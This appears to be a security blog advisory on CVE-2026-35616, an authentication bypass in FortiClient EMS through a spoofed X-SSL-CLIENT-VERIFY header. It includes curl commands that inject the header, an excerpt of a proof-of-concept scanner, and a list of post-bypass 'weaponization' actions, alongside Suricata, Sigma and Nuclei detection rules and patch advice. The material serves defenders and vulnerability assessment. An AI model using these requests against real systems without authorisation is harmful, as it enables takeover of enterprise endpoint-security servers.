CVE-2026-35616: FortiClient EMS Improper Access Control Leads to Pre-Authentication RCE
Executive Summary
CVE-2026-35616 represents a critical security failure in Fortinet's FortiClient Enterprise Management Server (EMS), specifically affecting versions 7.4.5 and 7.4.6. Classified as an Improper Access Control (CWE-284) vulnerability with a CVSS score of 9.1, this flaw allows unauthenticated attackers to bypass API authentication mechanisms and potentially execute unauthorized code or commands.
The vulnerability has been added to the CISA Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. FortiClient EMS is a central component of many enterprise Zero Trust and EDR architectures, managing agent deployment, policy enforcement, and threat telemetry. A compromise of the EMS server effectively grants an attacker administrative control over the endpoint security infrastructure, enabling lateral movement, policy manipulation, and potential network-wide impact.
Key Highlights:
- Severity: Critical (CVSS 9.1).
- Impact: Pre-authentication API bypass, leading to administrative access and potential Remote Code Execution (RCE).
- Vectors: Network-based HTTP header injection; no TLS client certificate required.
- Scope: FortiClient EMS 7.4.5, 7.4.6.
- Status: Actively exploited (CISA KEV). Patch available in 7.4.7+.
Immediate remediation is required. Organizations using vulnerable versions should apply vendor patches immediately or implement WAF mitigations to block the exploitation vector.
Technical Deep Dive
Vulnerability Architecture and Root Cause
FortiClient EMS is built upon a Django web application framework, typically deployed behind Apache with mod_ssl handling TLS termination. In a secure mTLS (mutual TLS) deployment, the Apache mod_ssl module verifies the client certificate during the TLS handshake and passes the verification result to the Django application via WSGI environment variables, such as SSL_CLIENT_VERIFY.
The vulnerability stems from a trust boundary confusion in the Django authentication middleware. The middleware is designed to trust the SSL_CLIENT_VERIFY environment variable set by the web server. However, due to improper input validation, the middleware also reads a user-controlled HTTP header to determine client verification status.
Specifically, the middleware checks for the X-SSL-CLIENT-VERIFY header (or a similar user-controllable mapping) in addition to the internal WSGI variables. This allows an attacker to inject the header X-SSL-CLIENT-VERIFY: SUCCESS directly into the HTTP request, tricking the middleware into believing a valid client certificate was presented and verified during the TLS handshake.
Authentication Bypass Mechanism
- Header Spoofing: The attacker sends an HTTP request to a protected API endpoint with the custom header:
POST /api/v1/auth/signin HTTP/1.1 Host: ems.target.local X-SSL-CLIENT-VERIFY: SUCCESS Content-Type: application/json - Middleware Logic Flaw: The Django middleware processes the request. Upon encountering
X-SSL-CLIENT-VERIFY: SUCCESS, it marks the request as verified by the SSL layer. - Auth Skip: The authentication middleware checks the verification status. Finding the "SUCCESS" flag, it skips the subsequent authentication checks (token validation, credential verification), assuming the client is already authenticated via mTLS.
- Backend Behavior:
- In many cases, the backend code expects a full client certificate PEM chain to parse associated metadata. Since the attacker did not complete the TLS handshake, this parsing may fail, resulting in an
HTTP 500 Internal Server Error. - However, the authentication layer has already been bypassed. In weaponized exploits, attackers can manipulate the payload further or target endpoints that do not strictly require the certificate payload to achieve a successful
HTTP 200 OKresponse, thereby gaining a valid session or executing administrative commands.
- In many cases, the backend code expects a full client certificate PEM chain to parse associated metadata. Since the attacker did not complete the TLS handshake, this parsing may fail, resulting in an
Affected Components
- Product: Fortinet FortiClient EMS
- Vulnerable Versions: 7.4.5, 7.4.6
- Fixed Version: 7.4.7 (and subsequent hotfixes for earlier 7.4.x branches)
- CWE: CWE-284: Improper Access Control
- CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(Implied by 9.1 and description)
PoC Analysis
A proof-of-concept (PoC) script has been released by cybersecurity researcher Kerem Oruç, demonstrating the detection and exploitation logic for this vulnerability. The script provides a robust scanner that identifies FortiClient EMS instances and validates the access control flaw.
Repository: https://github.com/keraattin/CVE-2026-35616
Detection Logic Analysis
The PoC script operates by:
- Service Identification: Probing the root URL to detect Fortinet EMS markers (
FortiClient,EMS,fcm) in the response body. - Baseline Verification: Sending a
POSTrequest to API endpoints without the spoof header, expectingHTTP 401 Unauthorized. - Spoofing Test: Re-sending the request with
X-SSL-CLIENT-VERIFY: SUCCESS. - Comparison: Analyzing if the status code deviates from
401. A shift toHTTP 500indicates the vulnerability is present, as the middleware accepted the header and passed the request to the backend, which subsequently failed due to missing certificate data.
PoC Source Code Snippet
Below is the relevant Python code from the PoC repository demonstrating the SSL context creation and EMS identification logic:
#!/usr/bin/env python3
"""
CVE-2026-35616 - FortiClient EMS Pre-Authentication API Bypass Detector
========================================================================
Vulnerability: Improper Access Control (CWE-284) in FortiClient EMS 7.4.5 - 7.4.6
CVSS: 9.1 (Critical)
Status: Actively exploited in the wild, CISA KEV catalog (April 6, 2026)
Detection Method:
1. Sends a baseline POST request without spoof headers (expects HTTP 401)
2. Sends a request with X-SSL-CLIENT-VERIFY header spoofed
3. If the spoofed request returns HTTP 500 instead of 401, the target is vulnerable
Affected Versions: FortiClient EMS 7.4.5, 7.4.6
Fixed In: FortiClient EMS 7.4.7 (hotfix available for 7.4.5/7.4.6)
Author: Kerem Oruç (Cybersecurity Engineer)
GitHub: @keraattin
Twitter: @keraattin
Date: 2026-04-13
"""
import argparse
import sys
import json
import ssl
import socket
import urllib.request
import urllib.error
from datetime import datetime
class Colors:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
BOLD = "\033[1m"
END = "\033[0m"
def banner():
print(f"""{Colors.CYAN}
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-35616 - FortiClient EMS Auth Bypass Detector ║
║ Pre-Authentication API Access Bypass → Privilege Escalation ║
║ CVSS: 9.1 (Critical) | CISA KEV: Active Exploitation ║
╚══════════════════════════════════════════════════════════════╝{Colors.END}
""")
def create_ssl_context(verify_ssl=True):
"""Create SSL context with optional certificate verification."""
ctx = ssl.create_default_context()
if not verify_ssl:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx
def check_forticlient_ems(target, port=443, timeout=10, verify_ssl=False):
"""
Check if a FortiClient EMS instance is accessible and identify it.
Returns a dict with service info or None if not FortiClient EMS.
"""
base_url = f"https://{target}:{port}"
ctx = create_ssl_context(verify_ssl)
result = {
"target": target,
"port": port,
"is_forticlient_ems": False,
"version": "Unknown",
"accessible": False,
}
try:
req = urllib.request.Request(
f"{base_url}/",
method="GET",
headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"},
)
response = urllib.request.urlopen(req, context=ctx, timeout=timeout)
body = response.read().decode("utf-8", errors="ignore")
headers = dict(response.headers)
result["accessible"] = True
# Check for FortiClient EMS indicators
ems_indicators = [
"FortiClient",
"forticlient",
"EMS",
"fortinet",
"fcm",
]
for indicator in ems_indicators:
if indicator.lower() in body.lower():
result["is_forticlient_ems"] = True
break
# ... [Script continues with endpoint detection and status comparison logic]
except urllib.error.HTTPError as e:
# Handle HTTP errors during detection
pass
except Exception as e:
pass
return result
The full exploit logic, including the endpoint iteration and status code comparison, is available in the GitHub repository. The PoC serves as an excellent detection tool for red teams and SOC analysts to verify patch compliance.
⚠ No Runnable Lab
This CVE cannot be reproduced in a Linux Docker container.
There is no official or community-maintained Docker image, Vulhub configuration, or containerized environment that accurately reproduces FortiClient EMS 7.4.5/7.4.6. The vulnerability relies on the specific interaction between the Django WSGI application, Apache mod_ssl header parsing, and Fortinet's proprietary middleware logic, which cannot be simulated using generic Django containers.
Reproduction Requirements:
- Researchers wishing to reproduce this vulnerability must deploy the vulnerable version of FortiClient EMS in an isolated, air-gapped virtual machine environment.
- Ensure the target is running version 7.4.5 or 7.4.6.
- Warning: Do not test vulnerable endpoints on production systems or networks where you do not have explicit authorization. Exploitation may cause service disruptions or trigger security alerts.
Exploitation Walkthrough
For authorized security assessments, the following steps outline the exploitation flow based on the PoC analysis.
Prerequisites
- Target: FortiClient EMS 7.4.5 or 7.4.6.
- Network Access: Layer 3 connectivity to the EMS web interface (typically TCP/443).
- Tools:
curl, Python 3, or the provided PoC script.
Step-by-Step Exploitation
Target Identification:
Confirm the target is a vulnerable FortiClient EMS instance by checking the root page for Fortinet indicators.curl -k https://<target>/ | grep -i "forticlient\|ems"Baseline Authentication Check:
Send a standard POST request to a sensitive API endpoint (e.g., authentication or status) without authentication.curl -k -X POST "https://<target>/api/v1/auth/signin" \ -H "Content-Type: application/json" \ -d '{}' \ -w "%{http_code}\n"Expected Result:
401 Unauthorized.Header Injection Attack:
Repeat the request, injecting the spoof headerX-SSL-CLIENT-VERIFY: SUCCESS.curl -k -X POST "https://<target>/api/v1/auth/signin" \ -H "Content-Type: application/json" \ -H "X-SSL-CLIENT-VERIFY: SUCCESS" \ -d '{}' \ -w "%{http_code}\n"Evaluation:
- Vulnerable: The status code changes to
500 Internal Server Error. This indicates the middleware accepted the header and bypassed auth, but the backend failed to parse the missing client certificate. - Mitigated: The status code remains
401, or the request is rejected by the web server/WAF before reaching the application.
- Vulnerable: The status code changes to
Post-Bypass Actions (Weaponization):
In a real-world attack, the500error provides the foothold. Attackers may:- Craft requests that trigger exceptions containing sensitive error messages.
- Target endpoints that successfully process the bypassed request without requiring the certificate payload.
- Leverage the bypass to access administrative API functions, such as user management, policy updates, or agent command execution.
Detection & Monitoring
Security teams should implement the following detection rules to identify exploitation attempts or vulnerable systems.
Suricata Rule
Detect the presence of the spoof header in HTTP traffic targeting the EMS.
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-35616 FortiClient EMS Auth Bypass Attempt";
flow:to_server,established;
content:"X-SSL-CLIENT-VERIFY";
http_client_header;
content:"SUCCESS";
http_client_header;
reference:cve,2026-35616;
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Sigma Rule (WAF/Access Logs)
Monitor for requests containing the suspicious header that result in non-401 status codes on API endpoints.
title: CVE-2026-35616 FortiClient EMS Authentication Bypass Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to bypass authentication in FortiClient EMS by spoofing X-SSL-CLIENT-VERIFY header.
author: iLoveThreats
date: 2026/04/20
logsource:
product: web_server
category: access_log
detection:
selection_header:
request_headers:
- '*X-SSL-CLIENT-VERIFY: SUCCESS*'
selection_endpoint:
request_uri:
- '/api/v1/*'
filter_expected_status:
status_code: 401
condition: selection_header and selection_endpoint and not filter_expected_status
fields:
- request_headers
- request_uri
- status_code
level: high
Nuclei Template Approach
Deploy a Nuclei scan targeting common EMS API paths with header injection:
id: cve-2026-35616-detection
info:
name: FortiClient EMS Auth Bypass Detection
author: keraattin
severity: critical
tags: fortinet,cve,cve2026,access-control
http:
- raw:
- |
POST /api/v1/system/status HTTP/1.1
Host: {{Hostname}}
X-SSL-CLIENT-VERIFY: SUCCESS
Content-Type: application/json
- |
POST /api/v1/system/status HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
matchers-condition: and
matchers:
- type: word
part: header
words:
- "HTTP/1.1 500"
condition: or
- type: status
status:
- 500
- 200
Remediation Guidance
Fortinet has released patches for this vulnerability. Organizations should follow the hierarchy of controls below to mitigate risk.
1. Patching (Primary Mitigation)
- Action: Upgrade FortiClient EMS to version 7.4.7 or later.
- Hotfixes: For environments unable to upgrade immediately, apply the specific hotfixes provided in the Fortinet support portal for versions 7.4.5 and 7.4.6.
- Verification: Confirm version numbers via the EMS admin interface or API response headers.
2. Web Application Firewall (WAF)
If patching is delayed, deploy a WAF rule to block the exploitation header.
- Rule: Block or drop any HTTP request containing the header
X-SSL-CLIENT-VERIFYfrom external clients. - Note: Ensure the WAF is positioned to inspect headers before they reach the application server.
3. Network Segmentation
- Restrict access to the FortiClient EMS web interface to trusted management networks only.
- Implement strict egress filtering to limit lateral movement in the event of a compromise.
4. Cloud Service Compliance
- If FortiClient EMS is deployed in a cloud environment, follow BOD 22-01 guidance for SaaS/IaaS configurations.
- Review cloud provider firewall rules and security groups to ensure no direct internet exposure of the EMS management interface.
5. Monitoring and Response
- Alert on any successful administrative actions from unexpected IP addresses.
- Monitor for unusual API traffic patterns, specifically requests containing
X-SSL-CLIENT-VERIFY. - Review audit logs for unauthorized configuration changes.
References
- NVD: CVE-2026-35616
- CISA KEV: CISA Adds CVE-2026-35616 to KEV Catalog
- Fortinet Security Advisory: Fortinet FortiClient EMS Improper Access Control
- PoC Repository: keraattin/CVE-2026-35616
- Bishop Fox Analysis: API Authentication Bypass in FortiClient EMS
- Tenable: CVE-2026-35616: Fortinet FortiClientEMS Improper Access Control Vulnerability
Disclaimer: This blog post is for educational and informational purposes only. The information provided should be used for authorized security testing and vulnerability assessment only. Unauthorized testing of systems you do not own is illegal. Always ensure you have written permission before testing any target.